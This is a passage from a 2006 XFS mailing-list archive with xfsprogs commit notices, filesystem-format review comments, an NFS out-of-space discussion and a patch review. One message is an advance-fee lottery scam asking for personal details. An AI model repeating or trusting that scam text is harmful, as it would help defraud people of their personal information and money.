http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/darwin.c.diff?r1=text&tr1=1.12&r2=text&tr2=1.11&f=h - handle extra fatal param xfsprogs/libxfs/irix.c - 1.13 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/irix.c.diff?r1=text&tr1=1.13&r2=text&tr2=1.12&f=h - Add fatal param to proto. xfsprogs/libxfs/freebsd.c - 1.15 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/freebsd.c.diff?r1=text&tr1=1.15&r2=text&tr2=1.14&f=h - handle extra fatal param From owner-xfs@oss.sgi.com Fri Oct 6 03:27:08 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 03:27:18 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k96AR5aG029221 for ; Fri, 6 Oct 2006 03:27:07 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id TAA05947 for ; Fri, 6 Oct 2006 19:22:46 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k969Mj7Y844082 for ; Fri, 6 Oct 2006 19:22:46 +1000 (AEST) Received: (from tes@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k969Mj9M849212 for xfs@oss.sgi.com; Fri, 6 Oct 2006 19:22:45 +1000 (AEST) Date: Fri, 6 Oct 2006 19:22:45 +1000 (AEST) From: Timothy Shimmin Message-Id: <200610060922.k969Mj9M849212@snort.melbourne.sgi.com> To: xfs@oss.sgi.com Subject: TAKE 954482 956881 - copy fix and mkfs/libxfs fix X-archive-position: 9204 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@snort.melbourne.sgi.com Precedence: bulk X-list: xfs Status: O Copy fix. Fix up variable argument handling around vfprintf's. Crashing on x86_64 otherwise and is just plain wrong. Date: Fri Oct 6 17:36:19 AEST 2006 Workarea: puffy.melbourne.sgi.com:/home/tes/isms/xfs-cmds Inspected by: dgc@sgi.com The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/xfs-cmds/master-melb Modid: master-melb:xfs-cmds:27143a xfsprogs/copy/xfs_copy.c - 1.16 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/copy/xfs_copy.c.diff?r1=text&tr1=1.16&r2=text&tr2=1.15&f=h - Fix up variable argument handling around vfprintf's. Crashing on x86_64 otherwise and is just plain wrong. ----------- Libxfs/mkfs blocksize fix Allow the requested sector size to be set for the ioctl setting the blocksize on the device. Date: Fri Oct 6 17:50:50 AEST 2006 Workarea: puffy.melbourne.sgi.com:/home/tes/isms/xfs-cmds Inspected by: dgc@sgi.com The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/xfs-cmds/master-melb Modid: master-melb:xfs-cmds:27144a xfsprogs/VERSION - 1.164 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/VERSION.diff?r1=text&tr1=1.164&r2=text&tr2=1.163&f=h - bump xfsprogs/doc/CHANGES - 1.222 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/doc/CHANGES.diff?r1=text&tr1=1.222&r2=text&tr2=1.221&f=h - Add blocksize libxfs changes and xfs_copy changes for this version. xfsprogs/mkfs/xfs_mkfs.c - 1.78 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/mkfs/xfs_mkfs.c.diff?r1=text&tr1=1.78&r2=text&tr2=1.77&f=h - Pass on the mkfs -s option size to libxfs. xfsprogs/libxfs/init.c - 1.51 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/init.c.diff?r1=text&tr1=1.51&r2=text&tr2=1.50&f=h - Pass in a given blksize to the platform_set_blocksize() instead of always 512 bytes. xfsprogs/libxfs/init.h - 1.12 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/init.h.diff?r1=text&tr1=1.12&r2=text&tr2=1.11&f=h - Add fatal param to proto. xfsprogs/libxfs/linux.c - 1.16 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/linux.c.diff?r1=text&tr1=1.16&r2=text&tr2=1.15&f=h - Change platform_set_blocksize to return an error and to print either an error msg or warning msg depending on fatal param. xfsprogs/libxfs/darwin.c - 1.12 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/darwin.c.diff?r1=text&tr1=1.12&r2=text&tr2=1.11&f=h - handle extra fatal param xfsprogs/libxfs/irix.c - 1.13 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/irix.c.diff?r1=text&tr1=1.13&r2=text&tr2=1.12&f=h - Add fatal param to proto. xfsprogs/libxfs/freebsd.c - 1.15 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/freebsd.c.diff?r1=text&tr1=1.15&r2=text&tr2=1.14&f=h - handle extra fatal param From owner-xfs@oss.sgi.com Fri Oct 6 04:57:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 04:57:55 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k96BviaG027152 for ; Fri, 6 Oct 2006 04:57:45 -0700 X-ASG-Debug-ID: 1160131784-17519-135-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail02.adl2.internode.on.net (ipmail02.adl2.internode.on.net [203.16.214.141]) by cuda.sgi.com (Spam Firewall) with ESMTP id C42CDD17B0E7 for ; Fri, 6 Oct 2006 03:49:45 -0700 (PDT) Received: from ppp163-199.static.internode.on.net (HELO saturn.flamingspork.com) ([150.101.163.199]) by ipmail02.adl2.internode.on.net with ESMTP; 06 Oct 2006 20:19:43 +0930 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AR4FAFHQJUWBTg X-IronPort-AV: i="4.09,271,1157293800"; d="asc'?scan'208"; a="22903843:sNHT30678767" Received: from localhost.localdomain (saturn.flamingspork.com [127.0.0.1]) by saturn.flamingspork.com (Postfix) with ESMTP id 6807FC50B6D; Fri, 6 Oct 2006 20:49:42 +1000 (EST) Received: by localhost.localdomain (Postfix, from userid 1000) id 6BAEB140EDE9; Fri, 6 Oct 2006 20:49:42 +1000 (EST) X-ASG-Orig-Subj: Re: XFS filesystem structure document Subject: Re: XFS filesystem structure document From: Stewart Smith To: Barry Naujok Cc: xfs@oss.sgi.com In-Reply-To: <200610050632.QAA03593@larry.melbourne.sgi.com> References: <200610050632.QAA03593@larry.melbourne.sgi.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-LnuZ+iRfbCs5Nt9EasW2" Date: Fri, 06 Oct 2006 20:49:41 +1000 Message-Id: <1160131781.4385.104.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.6.1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22668 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9205 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: stewart@flamingspork.com Precedence: bulk X-list: xfs Status: O --=-LnuZ+iRfbCs5Nt9EasW2 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2006-10-05 at 16:38 +1000, Barry Naujok wrote: > I have attached a PDF document describing the on-disk layout of the XFS > filesystem for review. It's a first draft and some sections are still > incomplete. When it is in a suitable state, it will be published on the > oss.sgi.com website. Heya Barry, long time no see! Hope things are well. a few comments and suggestions: Introduction ------------ perhaps expand introduction to have a bit about history of XFS and explicitly state that this is on-disk format documentation - state what endian everything is stored in (or if both, later describe how) Common XFS Types ---------------- first time mentioning Allocation Groups, write as two words, instead of AG perhaps describe (explicitly) that all xfs types are xfs_TYPE_t, but may be structs. also why some are xfs_dBLAH_t (i.e. what d stands for - or the hysterical raisins). Perhaps first it needs explaining of the idea of subvolumes? journal, data and realtime?=20 Allocation Groups ----------------- edit (add the and): "Immediately after a mkfs.xfs, the primary AG has the following disk layout *AND* the subsequent AGs do not have any inodes allocated:" probably need to have quick 1 sentence explanation of interpretation of sector and block. Superblocks ----------- may want to explicitly state that these structs don't have padding. maybe sizeof() as well? so as to know how much "free" space in a block with a struct of these? and what this "free" space should be initialized to (if anything). In list of fields with descriptions, would be also useful to list type next to it (along with definition such as "unsigned 64bit int"). Mentions "real time device" when previously was described as sub volume. perhaps explicitly mention of sb_logblocks is/isn't set for external logs. "The value must be 4 including the following flags:" except there's a lot of flags there. perhaps needs to be more precise. Wouldn't XFS_SB_VERSION_DRV2BIT and XFS_SB_VERSION_EXTFLGBIT not be set on really really really old file systems? Can't you also disable unwritten extents with an mkfs option, or am i just dreaming (err... nightmaring :) ? Would be good to state if sb_inodesize can be bigger than sb_blocksize and if so, what the value of sb_inopblock would be - or if in this case the FS is not valid. encoding of sb_fname, or if it's just a bunch of bytes and we don't care. shouldn't log2 have the 2 as subscript not super? for sb_logsectlog and sb_logsectsize, what should be values if internal log? AG Free List ------------ May need to more explictly state that the free list is always full, and in what situations it isn't, and how that's represented on disk. looks like a good start though! (look forward to reading the journaling part especilaly) --=20 Stewart Smith (stewart@flamingspork.com) http://www.flamingspork.com/ --=-LnuZ+iRfbCs5Nt9EasW2 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) iD8DBQBFJjTEKglWCUL+FDoRAvXLAJ9X2oP+TonTzR9/dpCzWeoU4tq93gCdHWIN bNSMKwgpFpvaRueznO8EM9A= =2A8j -----END PGP SIGNATURE----- --=-LnuZ+iRfbCs5Nt9EasW2-- From owner-xfs@oss.sgi.com Fri Oct 6 06:18:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 06:18:20 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k96DI6aG005963 for ; Fri, 6 Oct 2006 06:18:06 -0700 X-ASG-Debug-ID: 1160139854-19421-792-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.max-t.com (h216-18-124-229.gtcust.grouptelecom.net [216.18.124.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id D1A4E4745DE; Fri, 6 Oct 2006 06:04:14 -0700 (PDT) Received: from madrid.max-t.internal ([192.168.1.189] ident=[U2FsdGVkX1/BHpyRg09yH8mkFJSEYGc+8ccMf7596sE=]) by mail.max-t.com with esmtp (Exim 4.43) id 1GVpN3-0007cV-H5; Fri, 06 Oct 2006 09:04:10 -0400 Date: Fri, 6 Oct 2006 09:03:03 -0400 (EDT) From: Stephane Doyon X-X-Sender: sdoyon@madrid.max-t.internal To: David Chinner cc: Trond Myklebust , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi In-Reply-To: <20061005232935.GE19345@melbourne.sgi.com> Message-ID: References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> <20061005083015.GC19345@melbourne.sgi.com> <20061005232935.GE19345@melbourne.sgi.com> MIME-Version: 1.0 X-SA-Exim-Connect-IP: 192.168.1.189 X-SA-Exim-Mail-From: sdoyon@max-t.com X-ASG-Orig-Subj: Re: several messages Subject: Re: several messages Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-SA-Exim-Version: 4.1 (built Thu, 08 Sep 2005 14:17:48 -0500) X-SA-Exim-Scanned: Yes (on mail.max-t.com) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9206 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sdoyon@max-t.com Precedence: bulk X-list: xfs Status: O On Fri, 6 Oct 2006, David Chinner wrote: >> The backtrace looked like this: >> >> ... nfsd_write nfsd_vfs_write vfs_writev do_readv_writev xfs_file_writev >> xfs_write generic_file_buffered_write xfs_get_blocks __xfs_get_blocks >> xfs_bmap xfs_iomap xfs_iomap_write_delay xfs_flush_space xfs_flush_device >> schedule_timeout_uninterruptible. > > Ahhh, this gets hit on the ->prepare_write path (xfs_iomap_write_delay()), Yes. > not the allocate path (xfs_iomap_write_allocate()). Sorry - I got myself > (and probably everyone else) confused there which why I suspected sync > writes - they trigger the allocate path in the write call. I don't think > 2.6.18 will change anything. > > FWIW, I don't think we can avoid this sleep when we first hit ENOSPC > conditions, but perhaps once we are certain of the ENOSPC status > we can tag the filesystem with this state (say an xfs_mount flag) > and only clear that tag when something is freed. We could then > use the tag to avoid continually trying extremely hard to allocate > space when we know there is none available.... Yes! That's what I was trying to suggest :-). Thank you. Is that hard to do? From owner-xfs@oss.sgi.com Fri Oct 6 07:05:37 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 07:05:48 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k96E5baG014698 for ; Fri, 6 Oct 2006 07:05:37 -0700 X-ASG-Debug-ID: 1160141186-10160-216-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.max-t.com (h216-18-124-229.gtcust.grouptelecom.net [216.18.124.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6896447CB3F; Fri, 6 Oct 2006 06:26:26 -0700 (PDT) Received: from madrid.max-t.internal ([192.168.1.189] ident=[U2FsdGVkX1+Y/aZ6ezQ1wQ49YPY+PnJybxr7cwdWtEU=]) by mail.max-t.com with esmtp (Exim 4.43) id 1GVpiZ-0007tz-PM; Fri, 06 Oct 2006 09:26:24 -0400 Date: Fri, 6 Oct 2006 09:25:28 -0400 (EDT) From: Stephane Doyon X-X-Sender: sdoyon@madrid.max-t.internal To: David Chinner cc: Trond Myklebust , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi In-Reply-To: <20061006003339.GF19345@melbourne.sgi.com> Message-ID: References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> <1159893642.5592.12.camel@lade.trondhjem.org> <20061006003339.GF19345@melbourne.sgi.com> MIME-Version: 1.0 X-SA-Exim-Connect-IP: 192.168.1.189 X-SA-Exim-Mail-From: sdoyon@max-t.com X-ASG-Orig-Subj: Re: several messages Subject: Re: several messages Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-SA-Exim-Version: 4.1 (built Thu, 08 Sep 2005 14:17:48 -0500) X-SA-Exim-Scanned: Yes (on mail.max-t.com) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22679 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9207 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sdoyon@max-t.com Precedence: bulk X-list: xfs Status: O On Fri, 6 Oct 2006, David Chinner wrote: > On Thu, Oct 05, 2006 at 11:39:45AM -0400, Stephane Doyon wrote: >> >> I hadn't realized that the issue isn't just with the final flush on >> close(). It's actually been flushing all along, delaying some of the >> subsequent write()s, getting NOSPC errors but not reporting them until the >> end. > > Other NFS clients will report an ENOSPC on the next write() or close() > if the error is reported during async writeback. The clients that typically > do this throw away any unwritten data as well on the basis that the > application was returned an error ASAP and it is now Somebody Else's > Problem (i.e. the application needs to handle it from there). Well the client wouldn't necessarily have to throw away cached data. It could conceivably be made to return ENOSPC on some subsequent write. It would need to throw away the data for that write, but not necessarily destroy its cache. It could then clear the error condition and allow the application to keep trying if it wants to... >> Would it be incorrect for a subsequent write to return the error that >> occurred while flushing data from previous writes? Then the app could >> decide whether to continue and retry or not. But I guess I can see how >> that might get convoluted. > > .... there's many entertaining hoops to jump through to do this > reliably. I imagine there would be... > For example: when you have large amounts of cached data, expedient > error reporting and tossing unwritten data leads to much faster > error recovery than trying to write every piece of data (hence the > Irix use of this method). In my case, I didn't think I was caching that much data though, only a few hundred MBs, and I wouldn't have minded so much if an error had been returned after that much. The way it's implemented though, I can write an unbounded amount of data through that cache and not be told of the problem until I close or fsync. It may not be technically wrong, but given the outrageous delay I saw in my particular situation, it felt pretty suboptimal. > There's no clear right or wrong approach here - both have their > advantages and disadvantages for different workloads. If it > weren't for the sub-optimal behaviour of XFS in this case, you > probably wouldn't have even cared about this.... Indeed not! In fact, changing the client is not practical for me, what I need is a fix for the XFS behavior. I just thought it was also worth reporting what I perceived to be an issue with the NFS client. Thanks From owner-xfs@oss.sgi.com Fri Oct 6 09:41:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 09:41:14 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k96Gf2aG010520 for ; Fri, 6 Oct 2006 09:41:03 -0700 X-ASG-Debug-ID: 1160149075-20546-688-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from fmmailgate04.web.de (fmmailgate04.web.de [217.72.192.242]) by cuda.sgi.com (Spam Firewall) with ESMTP id F0603D1819C8 for ; Fri, 6 Oct 2006 08:37:55 -0700 (PDT) Reveived: from web.de by fmmailgate04.web.de (Postfix) with SMTP id A5CF32553EE; Fri, 6 Oct 2006 17:37:54 +0200 (CEST) Received: from [212.45.47.166] by freemailng9902.web.de with HTTP; Fri, 06 Oct 2006 17:37:52 +0200 Date: Fri, 06 Oct 2006 17:37:52 +0200 Message-Id: <338520163@web.de> MIME-Version: 1.0 From: "lotto nl.award.dept" X-ASG-Orig-Subj: YOU ARE A WINNER Subject: YOU ARE A WINNER Precedence: fm-user Organization: http://freemail.web.de/ To: undisclosed-recipients:; X-Barracuda-Spam-Score: 0.88 X-Barracuda-Spam-Status: No, SCORE=0.88 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, UNDISC_RECIPS X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22683 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.88 UNDISC_RECIPS Valid-looking To "undisclosed-recipients" 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-length: 2654 X-archive-position: 9208 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lotto.nl.award.dept@web.de Precedence: bulk X-list: xfs Status: O YOU ARE A WINNER Lotto.nl Koningen Julianaplein 21, 2391 BD Denhaag, The Netherlands (Lotto affiliate with Subscriber Agents). From: Mrs A. van Zand (Lottery Co-ordinator) Website: www.lotto.nl [http://www.lotto.nl] =20 ATTN: =20 CONGRATULATIONS!!! =20 We are pleased to inform you of the result of the Lotto.nl Winners Internat= ional programs held on the 4th of October, 2006. Your e-mail address attach= ed to ticket #: 0191652872 with prize #: 31397449 NL drew =801,000,000.00 w= hich was first in the first class of the draws. You are to receive =801,000= ,000.00 (One Million Euros). Because of mix up in cash pay-outs, we ask tha= t you keep your winning information confidential until your money (=801,000= ,000.00) has been fully remitted to you by our accredited pay-point bank. T= his measure must be adhere to,in order to avoid loss of your cash prize - w= inners of our cash prizes are advised to adhere to these instructions to fo= restall the abuse of this program by other participants. It is important to= note that this draws were conducted formally, and winners are selected thr= ough an internet ballot system from 50,000 individual and companies e-mail = addresses - the draws are conducted around the world through our internet b= ased ballot system. The promotion is sponsored and promoted Lotto.nl . We c= ongratulate you once again. We hope you will use part of it in our next dra= ws; the jackpot winning is =8085million. Remember,all winnings must be clai= med not later than 20days from today.After this date all unclaimed cash pri= ze will be forfeited and included in the next sweepstake. Please, in order = to avoid unnecessary delays and complications remember to quote personal an= d winning numbers in all correspondence with us. Congratulations once again= from all members of lotto.nl.Thank you for being part of our promotional p= rogram. =20 For immediate release of your cash prize to you, please kindly contact our = Paying Bank=20 address written below. =20 Send them the following informations:=20 =20 (i) Your name, (ii) Contact telephone and fax numbers (iii) Contact Address (iv) Your winning numbers (v) Quote amount won. (vi) Notification date. =20 Contact person: Sherman Brinks=20 E-mail: leedbnk@netscape.net [mailto:leedbnk@netscape.net] Tel: +31 649 953 670 =20 =20 Congratulations once again. Yours in service, Mrs A. van Zand (Lottery Co-ordinator) =09 XXL-Speicher, PC-Virenschutz, Spartarife & mehr: Nur im WEB.DE Club!=09 Jetzt gratis testen! *http://freemail.web.de/home/landingpad/?mc=3D021130* = [http://freemail.web.de/home/landingpad/?mc=3D021130] [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Fri Oct 6 10:41:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 10:41:35 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k96HfRaG030612 for ; Fri, 6 Oct 2006 10:41:29 -0700 X-ASG-Debug-ID: 1160150393-24660-441-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slurp.thebarn.com (cattelan-host202.dsl.visi.com [208.42.117.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id 138A847DFED; Fri, 6 Oct 2006 08:59:53 -0700 (PDT) Received: from [127.0.0.1] (lupo.thebarn.com [10.0.0.10]) (authenticated bits=0) by slurp.thebarn.com (8.13.8/8.13.8) with ESMTP id k96FwBJO000328; Fri, 6 Oct 2006 10:58:13 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-ASG-Orig-Subj: Re: review: set blocksize patch - libxfs & mkfs Subject: Re: review: set blocksize patch - libxfs & mkfs From: Russell Cattelan To: Timothy Shimmin Cc: xfs-dev@sgi.com, xfs@oss.sgi.com In-Reply-To: <778901771D2CDD34FDDE6CFA@timothy-shimmins-power-mac-g5.local> References: <778901771D2CDD34FDDE6CFA@timothy-shimmins-power-mac-g5.local> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-gv0KoLYZIXRwJ3syxEVk" Date: Fri, 06 Oct 2006 10:58:10 -0500 Message-Id: <1160150291.11159.29.camel@xenon.msp.redhat.com> Mime-Version: 1.0 X-Mailer: Evolution 2.8.0-1mdv2007.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9209 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-gv0KoLYZIXRwJ3syxEVk Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Fri, 2006-10-06 at 16:34 +1000, Timothy Shimmin wrote: > } > Index: xfsprogs/libxfs/init.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- xfsprogs/libxfs/init.c.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/libxfs/init.c 2006-10-06 14:14:03.000000000 +1000 > @@ -116,8 +116,16 @@ > exit(1); > } >=20 > - if (!readonly && setblksize && (statb.st_mode & S_IFMT) =3D=3D S_IFBLK) > - platform_set_blocksize(fd, path, statb.st_rdev, 512); > + if (!readonly && setblksize && (statb.st_mode & S_IFMT) =3D=3D S_IFBLK)= { > + if (setblksize =3D=3D 1) > + /* use the default blocksize */ > + (void)platform_set_blocksize(fd, path, statb.st_rdev,=20 > XFS_MIN_SECTORSIZE, 0); > + else { > + /* given an explicit blocksize to use */ > + if (platform_set_blocksize(fd, path, statb.st_rdev, setblksize, 1)) > + exit(1); > + } should the return code always be checked for failure? mybe something like if (platform_set_blocksize(fd, path, statb.st_rdev, ((setblksize =3D=3D 1)?XFS_MIN_SECTORSIZE:setblksize) 1)) would be bit cleaner > + } >=20 > /* > * Get the device number from the stat buf - unless > Index: xfsprogs/libxfs/irix.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- xfsprogs/libxfs/irix.c.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/libxfs/irix.c 2006-10-06 14:14:03.000000000 +1000 > @@ -36,8 +36,8 @@ > return 1; > } >=20 > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize,= =20 > int fatal) > { > return; > } > Index: xfsprogs/libxfs/linux.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- xfsprogs/libxfs/linux.c.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/libxfs/linux.c 2006-10-06 14:14:03.000000000 +1000 > @@ -102,16 +102,20 @@ > return sts; > } >=20 > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize,= =20 > int fatal) > { > + int error =3D 0; > + > if (major(device) !=3D RAMDISK_MAJOR) { > - if (ioctl(fd, BLKBSZSET, &blocksize) < 0) { > - fprintf(stderr, _("%s: warning - cannot set blocksize " > + if ((error =3D ioctl(fd, BLKBSZSET, &blocksize)) < 0) { > + fprintf(stderr, _("%s: %s - cannot set blocksize " > "on block device %s: %s\n"), > - progname, path, strerror(errno)); > + progname, fatal ? "error": "warning", > + path, strerror(errno)); > } > } > + return error; > } >=20 > void > Index: xfsprogs/mkfs/xfs_mkfs.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- xfsprogs/mkfs/xfs_mkfs.c.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/mkfs/xfs_mkfs.c 2006-10-06 14:14:03.000000000 +1000 > @@ -634,7 +634,6 @@ > bzero(&fsx, sizeof(fsx)); >=20 > bzero(&xi, sizeof(xi)); > - xi.setblksize =3D 1; > xi.isdirect =3D LIBXFS_DIRECT; > xi.isreadonly =3D LIBXFS_EXCLUSIVELY; >=20 > @@ -1506,6 +1505,11 @@ > calc_stripe_factors(dsu, dsw, sectorsize, lsu, lsectorsize, > &dsunit, &dswidth, &lsunit); >=20 > + if (slflag || ssflag) > + xi.setblksize =3D sectorsize; > + else > + xi.setblksize =3D 1; > + > /* > * Initialize. This will open the log and rt devices as well. > */ > Index: xfsprogs/libxfs/init.h > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 